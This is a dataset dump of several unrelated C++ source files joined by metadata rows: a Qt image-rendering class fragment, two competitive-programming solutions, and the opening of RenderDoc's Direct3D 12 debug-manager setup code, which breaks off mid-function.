// qDebug() << "ImageContent::loadFile: "<<file<<": (current file:"<<m_fileName<<"), fileMod:"<<fileMod<<", m_fileLastModified:"<<m_fileLastModified;
m_fileName = file;
m_fileLastModified = fileMod;
if(file.isEmpty())
{
m_fileLoaded = false;
disposeSvgRenderer();
m_pixmap = QPixmap();
return;
}
if(file.endsWith(".svg",Qt::CaseInsensitive))
{
loadSvg(file);
}
else
{
disposeSvgRenderer();
QPixmap cache;
QString cacheKey = QString("%1:%2").arg(file).arg(fileMod);
if(QPixmapCache::find(cacheKey,cache))
{
setPixmap(cache);
m_fileLoaded = true;
//qDebug() << "ImageContent::loadFile: "<<file<<": pixmap cache hit on "<<cacheKey;
}
else
{
QFileInfo info(file);
QImage image;
AbstractVisualItem *model = modelItem();
// File not on disk, attempt to load from the model item
if(!info.exists())
{
QString cachedFilename = model->property("-cached_image_filename").toString();
if(!cachedFilename.isEmpty() &&
cachedFilename == file)
{
QByteArray bytes = model->property("-cached_image_bytes").toByteArray();
if(!bytes.isEmpty())
{
image.loadFromData(bytes);
qDebug() << "ImageContent::loadFile: Loaded "<<((int)bytes.size()/1024)<<"Kb bytes from model for missing file "<<file;
}
}
}
else
{
QImageReader reader(file);
image = reader.read();
if(image.isNull())
{
qDebug() << "ImageContent::loadFile: Unable to read"<<file<<": "<<reader.errorString();
}
else
{
QFile fileBytesReader(file);
QByteArray bytes;
if (fileBytesReader.open(QIODevice::ReadOnly))
{
bytes = fileBytesReader.readAll();
model->setProperty("-cached_image_filename", file);
model->setProperty("-cached_image_bytes", bytes);
qDebug() << "ImageContent::loadFile: Packed "<<((int)bytes.size()/1024)<<"Kb into model for file "<<file;
bytes = QByteArray(); // release the memory from the byte array just to be conservative
}
}
}
if(!image.isNull())
{
QPixmap px = QPixmap::fromImage(image);
setPixmap(px);
m_fileLoaded = true;
//qDebug() << "ImageContent::loadFile: "<<file<<": pixmap cache MISS on "<<cacheKey;
if(!QPixmapCache::insert(cacheKey, px))
qDebug() << "ImageContent::loadFile: "<<file<<": ::insert returned FALSE - pixmap not cached";
}
}
}
}
void ImageContent::disposeSvgRenderer()
{
if(m_svgRenderer)
{
disconnect(m_svgRenderer,0,this,0);
delete m_svgRenderer;
m_svgRenderer = 0;
}
}
void ImageContent::loadSvg(const QString &file)
{
disposeSvgRenderer();
m_svgRenderer = new QSvgRenderer(file);
m_fileLoaded = true;
m_pixmap = QPixmap(m_svgRenderer->viewBox().size());
checkSize();
connect(m_svgRenderer, SIGNAL(repaintNeeded()), this, SLOT(renderSvg()));
renderSvg();
}
void ImageContent::renderSvg()
{
/*
m_pixmap.fill(Qt::transparent);
QPainter p(&m_pixmap);
m_svgRenderer->render(&p);
p.end();
*/
dirtyCache();
update();
}
void ImageContent::checkSize()
{
if(m_imageSize != m_pixmap.size())
{
m_imageSize = m_pixmap.size();
// Adjust scaling while maintaining aspect ratio
resizeContents(contentsRect(),true);
}
}
void ImageContent::setPixmap(const QPixmap & pixmap)
{
m_pixmap = pixmap;
//qDebug() << "ImageContent::setPixmap: Got pixmap, size:"<<pixmap.size();
if(DEBUG_IMAGECONTENT)
qDebug()<<"ImageContent::setPixmap: modelItem():"<<modelItem()->itemName()<<": got pixmap, size:"<<pixmap.size();
checkSize();
update();
}
AbstractVisualItem * ImageContent::syncToModelItem(AbstractVisualItem *model)
{
return AbstractContent::syncToModelItem(model);
}
QPixmap ImageContent::renderContent(const QSize & size, Qt::AspectRatioMode /*ratio*/) const
{
// get the base empty pixmap
QSize textSize = boundingRect().size().toSize();
const float w = size.width(),
h = size.height(),
tw = textSize.width(),
th = textSize.height();
if (w < 2 || h < 2 || tw < 2 || th < 2)
return QPixmap();
// draw text (centered, maximized keeping aspect ratio)
float scale = qMin(w / (tw + 16), h / (th + 16));
QPixmap pix(size);
pix.fill(Qt::transparent);
QPainter pixPainter(&pix);
pixPainter.translate((w - (int)((float)tw * scale)) / 2, (h - (int)((float)th * scale)) / 2);
pixPainter.scale(scale, scale);
//m_text->drawContents(&pixPainter);
// pixPainter.drawText(0,0,m_text);
pixPainter.end();
return pix;
}
int ImageContent::contentHeightForWidth(int width) const
{
// if no image size is available, use default
if (m_imageSize.width() < 1 || m_imageSize.height() < 1)
return AbstractContent::contentHeightForWidth(width);
return (m_imageSize.height() * width) / m_imageSize.width();
}
void ImageContent::dirtyCache()
{
QPixmapCache::remove(cacheKey());
QPixmapCache::remove(cacheKey() + "foreground");
}
#define DEBUG_TMARK() DEBUG_MARK() << ":" << t.restart() << "ms"
void ImageContent::paint(QPainter * painter, const QStyleOptionGraphicsItem * option, QWidget * widget)
{
QTime total;
total.start();
QTime t;
t.start();
// paint parent
AbstractContent::paint(painter, option, widget);
//DEBUG_TMARK();
#if QT46_SHADOW_ENAB == 0
if(modelItem()->shadowEnabled())
{
//DEBUG_TMARK();
painter->save();
QRect cRect = contentsRect();
qreal penWidth = 0;
if(modelItem()->outlineEnabled())
penWidth = modelItem()->outlinePen().widthF();
double x = modelItem()->shadowOffsetX();
double y = modelItem()->shadowOffsetY();
// x += x == 0 ? 0 : x>0 ? penWidth : -penWidth;
// y += y == 0 ? 0 : y>0 ? penWidth : -penWidth;
if(modelItem()->shadowBlurRadius() == 0)
{
// render a "cheap" shadow
painter->setPen(Qt::NoPen);
painter->setBrush(modelItem() ? modelItem()->shadowBrush() : Qt::black);
if(m_shadowClipDirty)
updateShadowClipPath();
painter->setClipPath(m_shadowClipPath);
painter->translate(x,y);
painter->drawRect(cRect);
}
else
{
double radius = modelItem()->shadowBlurRadius();
double radiusSquared = radius*radius;
QPixmap cache;
if(!QPixmapCache::find(cacheKey(),cache))
{
double blurSize = radiusSquared*2;
QSize shadowSize((int)blurSize,(int)blurSize);
QSize tmpPxSize = cRect.size()+shadowSize;
//qDebug()<<"ImageContent::paint(): modelItem:"<<modelItem()->itemName()<<": shadow cache redraw: cRect:"<<cRect<<", cRect.size():"<<cRect.size()<<", tmpPxSize:"<<tmpPxSize<<", shadowsize:"<<shadowSize<<", blurSize:"<<blurSize;
// create temporary pixmap to hold the foreground
QPixmap tmpPx(tmpPxSize);
tmpPx.fill(Qt::transparent);
QPainter tmpPainter(&tmpPx);
tmpPainter.save();
// render the foreground
QPoint tl = cRect.topLeft();
tmpPainter.translate(tl.x() * -1 + radiusSquared, tl.y() * -1 + radiusSquared);
drawForeground(&tmpPainter,false);
tmpPainter.restore();
// blacken the text by applying a color to the copy using a QPainter::CompositionMode_DestinationIn operation.
// This produces a homogeneously-colored pixmap.
QRect rect = QRect(0, 0, tmpPx.width(), tmpPx.height());
tmpPainter.setCompositionMode(QPainter::CompositionMode_SourceIn);
tmpPainter.fillRect(rect, modelItem()->shadowBrush().color());
tmpPainter.end();
// blur the colored image
QImage orignalImage = tmpPx.toImage();
QImage blurredImage = ImageFilters::blurred(orignalImage, rect, (int)radius);
cache = QPixmap::fromImage(blurredImage);
if(sceneContextHint() != MyGraphicsScene::StaticPreview)
QPixmapCache::insert(cacheKey(), cache);
}
//qDebug()<<"ImageContent::paint(): Drawing shadow at offset:"<<QPoint(x,y)<<", topLeft:"<<cRect.topLeft()<<", size:"<<cache.size()<<", radiusSquared:"<<radiusSquared;
painter->translate(x - radiusSquared,y - radiusSquared);
painter->drawPixmap(cRect.topLeft(), cache);
}
//DEBUG_TMARK();
painter->restore();
//DEBUG_TMARK();
}
#endif
//DEBUG_TMARK();
drawForeground(painter);
//DEBUG_TMARK();
if(modelItem()->outlineEnabled())
{
QRect cRect = contentsRect();
QPen p = modelItem()->outlinePen();
p.setJoinStyle(Qt::MiterJoin);
// if(sceneContextHint() == MyGraphicsScene::Preview)
// {
// QTransform tx = painter->transform();
// qreal scale = qMax(tx.m11(),tx.m22());
// p.setWidthF(1/scale * p.widthF());
// }
//
painter->setPen(p);
painter->setBrush(Qt::NoBrush);
painter->drawRect(cRect);
//DEBUG_TMARK();
#if QT_VERSION >= 0x040600
// Qt 4.6 RC 1 FILLS the bloody rect above instead of just drawing an outline - IF the opacity of our object is < 1
//qDebug() << "ImageContent::paint(): opacity="<<opacity()<<", painter opacity:"<<painter->opacity();
if(painter->opacity() < 1.0)
drawForeground(painter);
#endif
}
//qDebug() << "ImageContent::paint(): \t \t Elapsed:"<<(((double)total.elapsed())/1000.0)<<" sec";
}
void ImageContent::drawForeground(QPainter *painter, bool screenTranslation)
{
QTime total;
total.start();
QTime t;
t.start();
//qDebug() << "ImageContent::drawForeground(): start";
QRect cRect = contentsRect();
painter->save();
//DEBUG_TMARK();
if(!m_fileLoaded)
{
painter->fillRect(cRect,Qt::gray);
//DEBUG_TMARK();
}
else
{
if(m_svgRenderer)
{
m_svgRenderer->render(painter,cRect);
//DEBUG_TMARK();
}
else
{
static int dbg_counter =0;
dbg_counter++;
// this rect describes our "model" height in terms of item coordinates
QRect tmpRect(0,0,cRect.width(),cRect.height());
// This is the key to getting good looking scaled & cached pixmaps -
// it transforms our item coordinates into view coordinates.
// What this means is that if our item is 100x100, but the view is scaled
// by 1.5, our final pixmap would be scaled by the painter to 150x150.
// That means that even though after the cache generation we tell drawPixmap()
// to use our 100x100 rect, it will do the same transform and figure out that
// it needs to scale the pixmap to 150x150. Therefore, what we are doing here
// is calculating what drawPixmap() will *really* need, even though we tell
// it something different (100x100). Then, we dont scale the pixamp to 100x100 - no,
// we scale it only to 150x150. And then the painter can render the pixels 1:1
// rather than having to scale up and make it look pixelated.
if(screenTranslation)
tmpRect = painter->combinedTransform().mapRect(tmpRect);
QRect destRect(0,0,tmpRect.width(),tmpRect.height());
// cache the scaled pixmap according to the transformed size of the view
QString foregroundKey = QString(cacheKey()+":%1:%2:%3").arg(destRect.width()).arg(destRect.height()).arg(m_fileName);
//qDebug() << "ImageContent::drawForeground: " << dbg_counter << "cRect:"<<cRect<<", tmpRect:"<<tmpRect;
QPixmap cache;
if(!QPixmapCache::find(foregroundKey,cache))
{
//qDebug() << "ImageContent::drawForeground: " << dbg_counter << "Foreground pixmap dirty, redrawing";
cache = QPixmap(destRect.size());
cache.fill(Qt::transparent);
QPainter tmpPainter(&cache);
tmpPainter.setRenderHint(QPainter::HighQualityAntialiasing, true);
tmpPainter.setRenderHint(QPainter::SmoothPixmapTransform, true);
if(!sourceOffsetTL().isNull() || !sourceOffsetBR().isNull())
{
QPointF tl = sourceOffsetTL();
QPointF br = sourceOffsetBR();
QRect px = m_pixmap.rect();
int x1 = (int)(tl.x() * px.width());
int y1 = (int)(tl.y() * px.height());
QRect source(
px.x() + x1,
px.y() + y1,
px.width() - (int)(br.x() * px.width()) + (px.x() + x1),
px.height() - (int)(br.y() * px.height()) + (px.y() + y1)
);
qDebug() << "ImageContent::drawForeground:"<<modelItem()->itemName()<<": tl:"<<tl<<", br:"<<br<<", source:"<<source;
tmpPainter.drawPixmap(destRect, m_pixmap, source);
}
else
tmpPainter.drawPixmap(destRect, m_pixmap);
tmpPainter.end();
if(sceneContextHint() != MyGraphicsScene::StaticPreview)
if(!QPixmapCache::insert(foregroundKey, cache))
qDebug() << "ImageContent::drawForeground:"<<modelItem()->itemName()<<": Can't cache the image. This will slow performance of cross fades and slide editor. Make the cache larger using the Program Settings menu.";
}
painter->drawPixmap(cRect,cache);
}
}
painter->restore();
//DEBUG_TMARK();
//qDebug() << "ImageContent::drawForeground(): \t \t Elapsed:"<<(((double)total.elapsed())/1000.0)<<" sec";
}
void ImageContent::updateShadowClipPath()
{
QPainterPath boundingPath;
boundingPath.addRect(boundingRect());
QPainterPath contentPath;
// This outline-only clipping path is very buggy!
// It only "looks" like it works for bottom-right shadows - it cuts off anything
// that goes top-left. And, the distance from the top-left sides of the outline
// is too big of a gap - should be touching. I'll leave this code in for now,
// since its better than nothing, but it needs to be revisited later.
if(modelItem()->outlineEnabled() &&
modelItem()->fillType() == AbstractVisualItem::None)
{
// need to "cut hole" in clip path where bg of slide shows thru
// e.g. with just an outline, show shadow for all sides of outline,
// not just, for example, the bottom right side
QPainterPath hole;
// assume outline is drawn "around" contents rect
QRect holeRect = contentsRect();
double x = modelItem()->shadowOffsetX();
double y = modelItem()->shadowOffsetY();
holeRect = holeRect.adjusted(
// x > 0 ? x : 0,
// y > 0 ? y : 0,
// x * -1,
// y * -1
(int)(x * 4),
(int)(y * 4),
0,
0
//-x*2,
//-y*2
);
//qDebug() << "shadow hole: "<<holeRect<<", contents:"<<contentsRect();
//hole.addRect(holeRect);
//contentPath = contentPath.subtracted(hole);
contentPath.addRect(holeRect);
}
else
{
contentPath.addRect(contentsRect());
}
m_shadowClipPath = boundingPath.subtracted(contentPath);
}
| [
"josiahbryan@5ee4d49e-9b41-11de-8595-bbd473b9459f"
] | josiahbryan@5ee4d49e-9b41-11de-8595-bbd473b9459f |
04d72003c07093bb724b5481f9eee91a29d15b96 | dc3a5575a8165c8908b032e4d25302b7f1b7e29a | /Codeforces/1217A.cpp | fce17a87e23860b1204e26621ab906f551d23749 | [] | no_license | algzjh/CompetitiveProgramming | 026d8b0e953a3845473ee747be832d81a81c7a74 | 8c62c54df3c2feb34cf8a2f467b21550d6822751 | refs/heads/master | 2023-07-07T16:03:17.905033 | 2023-07-01T02:54:09 | 2023-07-01T02:54:09 | 120,862,027 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 717 | cpp | #include <bits/stdc++.h>
#define mk make_pair
#define fi first
#define se second
using namespace std;
typedef long long LL;
typedef pair<int, int> PII;
const int MAXN = 1e5 + 5;
const int MAXM = 1e4 + 5;
const int MOD = 998244353;
const int INF = 0x3f3f3f3f;
int main(){
int _;
scanf("%d", &_);
while(_--){
int a, b, c;
scanf("%d%d%d", &a, &b, &c);
if(a + c <= b){
printf("0\n");
}else{
if(c == 0) printf("1\n");
else{
int L = max(int(ceil((b + c - a + 1)/2.0)), 0);
// cout << "L: " << L << endl;
if(L > c) printf("0\n");
else printf("%d\n", c - L + 1);
}
}
}
}
| [
"[email protected]"
] | |
1e831a2f1d99f64530650df573c0ea8c29cc90c7 | d9c3f2889b08ac304dd882f5296882c57d648d8a | /树状数组/Tree_Array.cpp | 9039e64642e65e7e7c6a6c755f1b9f4c4b94becc | [] | no_license | 100101010/algorithms | c8cc78f787377a624b093fcc2f4e6a702db4f7d9 | d674e159b788c812bdcce263240336f6ab389e36 | refs/heads/master | 2020-04-17T13:29:44.327227 | 2019-05-16T13:01:32 | 2019-05-16T13:01:32 | 166,618,225 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 592 | cpp | #include <iostream>
#include <algorithm>
#include <string>
#include <vector>
#include <iomanip>
#include <set>
#include <map>
#include <cstring>
#include <numeric>
#include <cmath>
using namespace std;
int tree[10000];
int NUM = 10000;
void update(int index, int n)
{
for(int i = index;i<NUM;i += (i&-i))
tree[i] += n;
}
int get_sum(int n)
{
int ans = 0;
for(int i = n;i>0;i -= (i&-i))
ans += tree[i];
return ans;
}
int main()
{
int x;
for(int i = 1;i<=10;i++){
cin>>x;
update(i, x);
}
cout<<get_sum(10)<<endl;
return 0;
} | [
"[email protected]"
] | |
8a4dea178a5143139b86bb43e0d3a0569a48d59d | e1c18c487996cd23141e1f1120149ff1d4252434 | /renderdoc/driver/d3d12/d3d12_debug.cpp | 6ea890e70f60e9483814f70610136dc6d2e6bc07 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | alexv1n/renderdoc | 402c5fae8c2771ad2dd3b48bbde24eb9d5a47469 | 3b497241b004bc2f9a8eaf74813db57f5ee5f956 | refs/heads/v1.x | 2021-06-24T22:53:46.121062 | 2020-12-15T22:18:11 | 2020-12-15T22:18:11 | 185,238,345 | 0 | 0 | MIT | 2020-12-15T22:07:56 | 2019-05-06T17:04:46 | C++ | UTF-8 | C++ | false | false | 82,403 | cpp | /******************************************************************************
* The MIT License (MIT)
*
* Copyright (c) 2019-2020 Baldur Karlsson
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
******************************************************************************/
#include "d3d12_debug.h"
#include "common/shader_cache.h"
#include "data/resource.h"
#include "driver/dx/official/d3dcompiler.h"
#include "driver/dxgi/dxgi_common.h"
#include "driver/shaders/dxbc/dxbc_bytecode.h"
#include "maths/formatpacking.h"
#include "maths/matrix.h"
#include "maths/vec.h"
#include "strings/string_utils.h"
#include "d3d12_command_list.h"
#include "d3d12_command_queue.h"
#include "d3d12_device.h"
#include "d3d12_replay.h"
#include "d3d12_shader_cache.h"
#include "data/hlsl/hlsl_cbuffers.h"
inline static D3D12_ROOT_PARAMETER1 cbvParam(D3D12_SHADER_VISIBILITY vis, UINT space, UINT reg)
{
D3D12_ROOT_PARAMETER1 ret;
ret.ShaderVisibility = vis;
ret.ParameterType = D3D12_ROOT_PARAMETER_TYPE_CBV;
ret.Descriptor.RegisterSpace = space;
ret.Descriptor.ShaderRegister = reg;
ret.Descriptor.Flags = D3D12_ROOT_DESCRIPTOR_FLAG_NONE;
return ret;
}
inline static D3D12_ROOT_PARAMETER1 constParam(D3D12_SHADER_VISIBILITY vis, UINT space, UINT reg,
UINT num)
{
D3D12_ROOT_PARAMETER1 ret;
ret.ShaderVisibility = vis;
ret.ParameterType = D3D12_ROOT_PARAMETER_TYPE_32BIT_CONSTANTS;
ret.Constants.RegisterSpace = space;
ret.Constants.ShaderRegister = reg;
ret.Constants.Num32BitValues = num;
return ret;
}
inline static D3D12_ROOT_PARAMETER1 tableParam(D3D12_SHADER_VISIBILITY vis,
D3D12_DESCRIPTOR_RANGE_TYPE type, UINT space,
UINT basereg, UINT numreg)
{
// this is a super hack but avoids the need to be clumsy with allocation of these structs
static D3D12_DESCRIPTOR_RANGE1 ranges[32] = {};
static int rangeIdx = 0;
D3D12_DESCRIPTOR_RANGE1 &range = ranges[rangeIdx];
rangeIdx = (rangeIdx + 1) % ARRAY_COUNT(ranges);
D3D12_ROOT_PARAMETER1 ret;
ret.ShaderVisibility = vis;
ret.ParameterType = D3D12_ROOT_PARAMETER_TYPE_DESCRIPTOR_TABLE;
ret.DescriptorTable.NumDescriptorRanges = 1;
ret.DescriptorTable.pDescriptorRanges = ⦥
RDCEraseEl(range);
range.RangeType = type;
range.RegisterSpace = space;
range.BaseShaderRegister = basereg;
range.NumDescriptors = numreg;
range.OffsetInDescriptorsFromTableStart = 0;
if(type != D3D12_DESCRIPTOR_RANGE_TYPE_SAMPLER)
range.Flags = D3D12_DESCRIPTOR_RANGE_FLAG_DATA_VOLATILE |
D3D12_DESCRIPTOR_RANGE_FLAG_DESCRIPTORS_VOLATILE;
else
range.Flags = D3D12_DESCRIPTOR_RANGE_FLAG_DESCRIPTORS_VOLATILE;
return ret;
}
D3D12DebugManager::D3D12DebugManager(WrappedID3D12Device *wrapper)
{
if(RenderDoc::Inst().GetCrashHandler())
RenderDoc::Inst().GetCrashHandler()->RegisterMemoryRegion(this, sizeof(D3D12DebugManager));
m_pDevice = wrapper;
D3D12ResourceManager *rm = wrapper->GetResourceManager();
HRESULT hr = S_OK;
D3D12_DESCRIPTOR_HEAP_DESC desc;
desc.Flags = D3D12_DESCRIPTOR_HEAP_FLAG_NONE;
desc.NodeMask = 1;
desc.NumDescriptors = 1024;
desc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_RTV;
RDCCOMPILE_ASSERT(FIRST_WIN_RTV + 256 < 1024, "Increase size of RTV heap");
hr = m_pDevice->CreateDescriptorHeap(&desc, __uuidof(ID3D12DescriptorHeap), (void **)&rtvHeap);
m_pDevice->InternalRef();
if(FAILED(hr))
{
RDCERR("Couldn't create RTV descriptor heap! HRESULT: %s", ToStr(hr).c_str());
}
rm->SetInternalResource(rtvHeap);
desc.NumDescriptors = 64;
desc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_DSV;
RDCCOMPILE_ASSERT(FIRST_WIN_DSV + 32 < 64, "Increase size of DSV heap");
hr = m_pDevice->CreateDescriptorHeap(&desc, __uuidof(ID3D12DescriptorHeap), (void **)&dsvHeap);
m_pDevice->InternalRef();
if(FAILED(hr))
{
RDCERR("Couldn't create DSV descriptor heap! HRESULT: %s", ToStr(hr).c_str());
}
rm->SetInternalResource(dsvHeap);
desc.NumDescriptors = 4096;
desc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_CBV_SRV_UAV;
RDCCOMPILE_ASSERT(MAX_SRV_SLOT < 4096, "Increase size of CBV/SRV/UAV heap");
hr = m_pDevice->CreateDescriptorHeap(&desc, __uuidof(ID3D12DescriptorHeap), (void **)&uavClearHeap);
m_pDevice->InternalRef();
if(FAILED(hr))
{
RDCERR("Couldn't create CBV/SRV descriptor heap! HRESULT: %s", ToStr(hr).c_str());
}
rm->SetInternalResource(uavClearHeap);
desc.Flags = D3D12_DESCRIPTOR_HEAP_FLAG_SHADER_VISIBLE;
hr = m_pDevice->CreateDescriptorHeap(&desc, __uuidof(ID3D12DescriptorHeap),
(void **)&cbvsrvuavHeap);
m_pDevice->InternalRef();
if(FAILED(hr))
{
RDCERR("Couldn't create CBV/SRV descriptor heap! HRESULT: %s", ToStr(hr).c_str());
}
rm->SetInternalResource(cbvsrvuavHeap);
desc.NumDescriptors = 16;
desc.Type = D3D12_DESCRIPTOR_HEAP_TYPE_SAMPLER;
hr = m_pDevice->CreateDescriptorHeap(&desc, __uuidof(ID3D12DescriptorHeap), (void **)&samplerHeap);
m_pDevice->InternalRef();
if(FAILED(hr))
{
RDCERR("Couldn't create sampler descriptor heap! HRESULT: %s", ToStr(hr).c_str());
}
rm->SetInternalResource(samplerHeap);
// create fixed samplers, point and linear
D3D12_CPU_DESCRIPTOR_HANDLE samp;
samp = samplerHeap->GetCPUDescriptorHandleForHeapStart();
D3D12_SAMPLER_DESC sampDesc;
RDCEraseEl(sampDesc);
sampDesc.AddressU = sampDesc.AddressV = sampDesc.AddressW = D3D12_TEXTURE_ADDRESS_MODE_CLAMP;
sampDesc.Filter = D3D12_FILTER_MIN_MAG_MIP_POINT;
sampDesc.MaxAnisotropy = 1;
sampDesc.MinLOD = 0;
sampDesc.MaxLOD = FLT_MAX;
sampDesc.MipLODBias = 0.0f;
sampDesc.ComparisonFunc = D3D12_COMPARISON_FUNC_ALWAYS;
m_pDevice->CreateSampler(&sampDesc, samp);
sampDesc.Filter = D3D12_FILTER_MIN_MAG_LINEAR_MIP_POINT;
samp.ptr += sizeof(D3D12Descriptor);
m_pDevice->CreateSampler(&sampDesc, samp);
static const UINT64 bufsize = 2 * 1024 * 1024;
m_RingConstantBuffer = MakeCBuffer(bufsize);
m_RingConstantOffset = 0;
m_pDevice->InternalRef();
D3D12ShaderCache *shaderCache = m_pDevice->GetShaderCache();
shaderCache->SetCaching(true);
{
ID3DBlob *root = shaderCache->MakeRootSig({
// cbuffer
cbvParam(D3D12_SHADER_VISIBILITY_PIXEL, 0, 0),
// normal SRVs (2x, 4x, 8x, 16x, 32x)
tableParam(D3D12_SHADER_VISIBILITY_PIXEL, D3D12_DESCRIPTOR_RANGE_TYPE_SRV, 0, 1, 5),
// stencil SRVs (2x, 4x, 8x, 16x, 32x)
tableParam(D3D12_SHADER_VISIBILITY_PIXEL, D3D12_DESCRIPTOR_RANGE_TYPE_SRV, 0, 11, 5),
});
RDCASSERT(root);
hr = m_pDevice->CreateRootSignature(0, root->GetBufferPointer(), root->GetBufferSize(),
__uuidof(ID3D12RootSignature), (void **)&m_ArrayMSAARootSig);
m_pDevice->InternalRef();
SAFE_RELEASE(root);
rm->SetInternalResource(m_ArrayMSAARootSig);
}
{
ID3DBlob *root = shaderCache->MakeRootSig(
{
cbvParam(D3D12_SHADER_VISIBILITY_VERTEX, 0, 0),
cbvParam(D3D12_SHADER_VISIBILITY_GEOMETRY, 0, 0),
// 'push constant' CBV
constParam(D3D12_SHADER_VISIBILITY_PIXEL, 0, 0, 4),
},
D3D12_ROOT_SIGNATURE_FLAG_ALLOW_INPUT_ASSEMBLER_INPUT_LAYOUT);
RDCASSERT(root);
hr = m_pDevice->CreateRootSignature(0, root->GetBufferPointer(), root->GetBufferSize(),
__uuidof(ID3D12RootSignature), (void **)&m_MeshRootSig);
m_pDevice->InternalRef();
SAFE_RELEASE(root);
rm->SetInternalResource(m_MeshRootSig);
}
if(!CreateMathIntrinsicsResources())
{
RDCERR("Failed to create resources for shader debugging math intrinsics");
SAFE_RELEASE(m_MathIntrinsicsRootSig);
SAFE_RELEASE(m_MathIntrinsicsPso);
SAFE_RELEASE(m_MathIntrinsicsResultBuffer);
}
{
rdcstr meshhlsl = GetEmbeddedResource(mesh_hlsl);
shaderCache->GetShaderBlob(meshhlsl.c_str(), "RENDERDOC_MeshVS", D3DCOMPILE_WARNINGS_ARE_ERRORS,
"vs_5_0", &m_MeshVS);
shaderCache->GetShaderBlob(meshhlsl.c_str(), "RENDERDOC_MeshGS", D3DCOMPILE_WARNINGS_ARE_ERRORS,
"gs_5_0", &m_MeshGS);
shaderCache->GetShaderBlob(meshhlsl.c_str(), "RENDERDOC_MeshPS", D3DCOMPILE_WARNINGS_ARE_ERRORS,
"ps_5_0", &m_MeshPS);
}
{
rdcstr hlsl = GetEmbeddedResource(misc_hlsl);
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_FullscreenVS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "vs_5_0", &m_FullscreenVS);
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_DiscardPS", D3DCOMPILE_WARNINGS_ARE_ERRORS,
"ps_5_0", &m_DiscardPS);
}
{
rdcstr multisamplehlsl = GetEmbeddedResource(multisample_hlsl);
shaderCache->GetShaderBlob(multisamplehlsl.c_str(), "RENDERDOC_CopyMSToArray",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &m_IntMS2Array);
shaderCache->GetShaderBlob(multisamplehlsl.c_str(), "RENDERDOC_FloatCopyMSToArray",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &m_FloatMS2Array);
shaderCache->GetShaderBlob(multisamplehlsl.c_str(), "RENDERDOC_DepthCopyMSToArray",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &m_DepthMS2Array);
shaderCache->GetShaderBlob(multisamplehlsl.c_str(), "RENDERDOC_CopyArrayToMS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &m_IntArray2MS);
shaderCache->GetShaderBlob(multisamplehlsl.c_str(), "RENDERDOC_FloatCopyArrayToMS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &m_FloatArray2MS);
shaderCache->GetShaderBlob(multisamplehlsl.c_str(), "RENDERDOC_DepthCopyArrayToMS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "ps_5_0", &m_DepthArray2MS);
}
shaderCache->SetCaching(false);
D3D12_RESOURCE_DESC readbackDesc;
readbackDesc.Alignment = 0;
readbackDesc.DepthOrArraySize = 1;
readbackDesc.Dimension = D3D12_RESOURCE_DIMENSION_BUFFER;
readbackDesc.Flags = D3D12_RESOURCE_FLAG_NONE;
readbackDesc.Format = DXGI_FORMAT_UNKNOWN;
readbackDesc.Height = 1;
readbackDesc.Layout = D3D12_TEXTURE_LAYOUT_ROW_MAJOR;
readbackDesc.MipLevels = 1;
readbackDesc.SampleDesc.Count = 1;
readbackDesc.SampleDesc.Quality = 0;
readbackDesc.Width = m_ReadbackSize;
D3D12_HEAP_PROPERTIES heapProps;
heapProps.Type = D3D12_HEAP_TYPE_READBACK;
heapProps.CPUPageProperty = D3D12_CPU_PAGE_PROPERTY_UNKNOWN;
heapProps.MemoryPoolPreference = D3D12_MEMORY_POOL_UNKNOWN;
heapProps.CreationNodeMask = 1;
heapProps.VisibleNodeMask = 1;
hr = m_pDevice->CreateCommittedResource(&heapProps, D3D12_HEAP_FLAG_NONE, &readbackDesc,
D3D12_RESOURCE_STATE_COPY_DEST, NULL,
__uuidof(ID3D12Resource), (void **)&m_ReadbackBuffer);
m_pDevice->InternalRef();
if(FAILED(hr))
{
RDCERR("Failed to create readback buffer, HRESULT: %s", ToStr(hr).c_str());
return;
}
m_ReadbackBuffer->SetName(L"m_ReadbackBuffer");
rm->SetInternalResource(m_ReadbackBuffer);
hr = m_pDevice->CreateCommandAllocator(D3D12_COMMAND_LIST_TYPE_DIRECT,
__uuidof(ID3D12CommandAllocator), (void **)&m_DebugAlloc);
m_pDevice->InternalRef();
if(FAILED(hr))
{
RDCERR("Failed to create readback command allocator, HRESULT: %s", ToStr(hr).c_str());
return;
}
rm->SetInternalResource(m_DebugAlloc);
m_pDevice->CreateFence(0, D3D12_FENCE_FLAG_NONE, __uuidof(ID3D12Fence), (void **)&m_DebugFence);
m_pDevice->InternalRef();
rm->SetInternalResource(m_DebugFence);
ID3D12GraphicsCommandList *list = NULL;
hr = m_pDevice->CreateCommandList(0, D3D12_COMMAND_LIST_TYPE_DIRECT, m_DebugAlloc, NULL,
__uuidof(ID3D12GraphicsCommandList), (void **)&list);
